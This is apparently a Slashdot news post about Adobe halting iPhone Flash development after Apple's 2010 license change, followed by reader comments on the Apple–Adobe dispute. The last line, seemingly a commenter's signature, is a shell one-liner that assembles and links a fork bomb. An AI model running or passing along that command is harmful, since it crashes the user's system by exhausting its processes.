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Adobe Stops Development For iPhone
adeelarshad82 writes "Adobe's principal product manager Mike Chambers announced that Adobe is no longer investing in iPhone-based Flash development. The move comes after Apple put out a new draft of its iPhone developer program license, which banned private APIs and required apps to be written in Objective-C, C, C++, or JavaScript as executed by the iPhone OS WebKit engine. According to Chambers, Adobe will still provide the ability to target the iPhone and iPad in Flash CS5, but the company is not currently planning any additional investments in that feature."
Daring Fireball points out approvingly Apple's rebuttal to the claim that Flash is an open format, however convenient it might be for iPad owners. Related: The new app policy seems to be inconsistently enforced. Reader wilsonthecat writes "Novell have released a new press release in response to Apple's announcement that none-C/C++/Objective-C based iPhone application development breaks their SDK terms. The press release names several apps that have made it past app review process since the new Apple SDK agreement."
It would be very funny if Adobe, just for spite, decided to stop making it's high end graphic design products compatible with Apple hardware. And figured out a way to make them not work via virtualization on Apple hardware as well.
I know, I know, they are publicly traded & would never cut off that revenue stream.
There is a war going on for your mind.
Of course, Apple could just be trying to do away with it, hoping HTML 5 takes more hold.
"I don't think it's selfish, to eat defenseless shellfish." -NOFX
Next step? It's not like Adobe hasn't already been doing this for years. They canceled Framemaker for Mac despite it being a better seller on the Mac than PC. They killed Premiere but that was after Apple came out with FCP since Premiere on the Mac sucked so bad. Then putting out Lightroom after Apple came out with Aperture. Even Flash. They really haven't done anything with it on the Mac side since they got it from Macromedia. Development has been lagging on the Mac side (and even worse for Linux). Perhaps if Adobe had been paying attention to it and actually supporting it, Apple might not have decided they didn't want it so quickly.
For that matter, it's not like they have a real copy of Flash for any phone yet, let alone the iPhone. Even if Apple hadn't had prevented it, there's no real garantee it would be anything but vaporware yet. At best, there would be some Lite version that wouldn't do much and whose performance would lag behind even the Linux version of Flash. My suggestion to Adobe is that if they really want Flash as an iApp, then concentrate on the Android OS. Put out a really good version of Flash for that platform, show that it can work, and that it isn't going to be some half assed job, then maybe Apple will reconsider, especially if it becomes a selling point for the Droid.
Except it seems Apple won't be happy until they kill the notion of "general purpose computer" for the masses and each computing "device" sold to the public is a locked down single purpose appliance designed for the consumption of content, all preferably sold by Apple.
I as someone who makes a living from developing software and who generally loves tinkering with computers hate that vision and can not support Apple moving close to it.
As the island of our knowledge grows, so does the shore of our ignorance.
In the last couple weeks, I've chatted with folks that play such games, and all of them based their purchase of the iPhone based upon their ability to play their facebook games 24/7 (at any hour of the day).
Your friends are poor researchers because the iPhone and iPod Touch have never supported Flash. That's why the iPad flap was always so funny to me. It could be summarized as "Adobe is angry that Apple won't start supporting an app that it's never supported on its other portable platforms".
Dewey, what part of this looks like authorities should be involved?
I'm having trouble with this... This has nothing repeat NOTHING to do with running Flash on an iPhone/Pad. It has everything to do with Adobe building in the capability to compile an ActionScript project to an iWhatever binary. It is about restricting the tools that developers can use and basically locking them into the Apple ecosystem. If you could use one codeset to write an app for the iPhone/Android/WinMo/WebOS then how is the iPhone special? Now developers have to maintain multiple sets, and from an economic standpoint they'll code for the lowest hanging fruit, namely iPhone users who have already proven themselves to be a microtransaction loving force. It's about killing competition by making it harder to cross-develop.
"Never let your sense of morals prevent you from doing what is right" - Salvor Hardin
If they'd been doing this, Apple might not have objected. Unfortunately, they're just bundling the Flash VM in an app with the bytecode for the app. It's a shame, because it's pretty easy to map ActionScript to the Objective-C object model, so compiling it down to native code would be quite easy.
I am TheRaven on Soylent News
You're evaluating the situation in relation to short-term sales to end-users, not in relation to the value as a platform. Consider this: one of the biggest disadvantages Apple face is that the vast majority of apps are developed for Windows, not the Mac; and the vast majority of developers are familiar with developing for Windows, not the Mac. Now consider this: the App Store is a huge draw for developers. If developers could build apps for it with Flash, they would just be Flash developers. Instead, they were forced to learn Objective C, Cocoa, Core Foundation, etc. Et voilà, all those developers champing at the bit to develop for the iPhone are now familiar with the language, framework and UI toolkits necessary for Mac development. Apple have just created an army of Mac developers. What do you suppose will happen when the App Store is expanded to the Mac?
Bogtha Bogtha Bogtha
Yeah, pro-Flash and anti-Apple people talk as though Flash is a stable and established standard component of any mobile platform, and has been for years.
This, ladies and gents, is the perfect example of a straw man.
While the rest of what you say is actually very spot on, I think you are forgetting that the implication here is that no one can package technology for anyone else to run on an iPhone. I could never create a library or SDK or what-have-you for you to include in your iphone binary if it has any hinf of interacting with another language at any statge.
Apple's controlling nature and hatred for Flash is causing significant collateral damage and sets a terrible precedent with regards to respect for developers.
meep
Why should Apple, as a hardware vendor, permit you to commoditize its profitable hardware in order for you to create software that will help sell other hardware vendor's handsets?
You seem to think all these different vendors give you these tools because they like you or something. Apple gives you tools so you can make apps that make people wanna buy iDevices. Anything you can do that doesn't necessarily drive hardware sales, they're going to fight very hard against. Adobe tries to make its Flash player as cheap and available as possible to drive demand for its authoring products. Anything that makes it possible to author rich web content outside of the Adobe ecosystem they're going to fight very hard against. Thus the two companies find themselves at crossed purposes here.
Apple doesn't want people to write apps that run on multiple OSs, because it will drive commoditization of the handset hardware. Adobe doesn't want people to be able to create rich web animations with anything but its products, because it will drive commoditization of the authoring software. It's really just that simple.
Don't blame me, I voted for Baltar.
Plus Flash doesn't run efficiently on anything other than Windows anyway. Flash on OSX is dramatically slower and takes up twice as many CPU cycles to play videos or animations as on Windows running on identical hardware (and by twice as many, I mean like 20-80% of CPU cycles on two cores, just to play a single, non-HD video).
Well if you listen to Adobe Flash takes more CPU time on the OSX because OSX doesn't provide a suitable API to play hardware accelerated video.
From what I can tell the reason Windows does is because Microsoft arranges meetings between their engineers and those from important third parties. So most likely hardware acceleration is something that Adobe has been consulted about while the API was being designed. At least thats how DirectX has evolved.
Seems like if Apple wants third parties to produce software for their platforms - and right now that is actually not clear - they should do the same rather than pushing out APIs and tools they don't want or can't use and then declaring them a Public Enemy for producing code that performs badly.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;